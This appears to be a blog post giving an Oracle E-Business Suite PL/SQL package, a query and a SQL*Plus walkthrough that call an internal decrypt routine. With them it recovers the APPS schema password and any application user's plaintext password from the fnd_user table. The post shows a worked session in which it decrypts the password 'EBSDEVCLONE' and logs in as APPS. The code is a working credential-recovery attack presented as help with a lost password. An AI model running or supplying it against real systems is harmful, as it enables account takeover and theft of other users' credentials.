Script to get Application user passwords !!! don't misuse it :)

Connect to APPS user and create following package to get Application user password.

Package Specification:
------------------------------------------------------------------------------------------------------------


CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/


Package Body:
------------------------------------------------------------------------------------------------------------

CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/

Query:
------------------------------------------------------------------------------------------------------------

SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM fnd_user usr
WHERE usr.user_name = '&Username';

###############################################################################

How to get APPS Password, that's very interesting...

Step #1 Connect as system or sys User in the database.

[oracle@inblrdrdbadm01 ~]$ sqlplus system

SQL*Plus: Release 11.2.0.3.0 Production on Fri Jul 25 21:24:58 2013

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Enter password:

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, Real Application Clusters, Automatic Storage Management, OLAP,
Data Mining and Real Application Testing options

Step#2:  Create Function to decrypt the encrypted password

SQL> set linesize 200 long 300
SQL> create FUNCTION apps.decrypt_pin_func(in_chr_key IN VARCHAR2,in_chr_encrypted_pin IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
  2  /

Function created.

Step#3: Query for password

SQL> select ENCRYPTED_FOUNDATION_PASSWORD from apps.fnd_user where USER_NAME='GUEST';

ENCRYPTED_FOUNDATION_PASSWORD
----------------------------------------------------------------------------------------------------
ZG040B6D2CDF90B3493544F3BC2EFD960DD2F5C5D230E6F2C14D59E59C9F258726756BD7B9227552996F63F8795EAFE62F45

Step#4:  Get the Apps password using encrypted guest password

SQL> SELECT apps.decrypt_pin_func('GUEST/ORACLE','ZG040B6D2CDF90B3493544F3BC2EFD960DD2F5C5D230E6F2C14D59E59C9F258726756BD7B9227552996F63F8795EAFE62F45') from dual;

APPS.DECRYPT_PIN_FUNC('GUEST/ORACLE','ZG040B6D2CDF90B3493544F3BC2EFD960DD2F5C5D230E6F2C14D59E59C9F258726756BD7B9227552996F63F8795EAFE62F45')
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
EBSDEVCLONE

Step#5: Test apps password

SQL> conn apps/ebsdevclone
Connected.
SQL> show user
USER is "APPS"
SQL>

I hope, this could be important to get APPS / Any Application User password in-case of loss.

Cheeeers !!!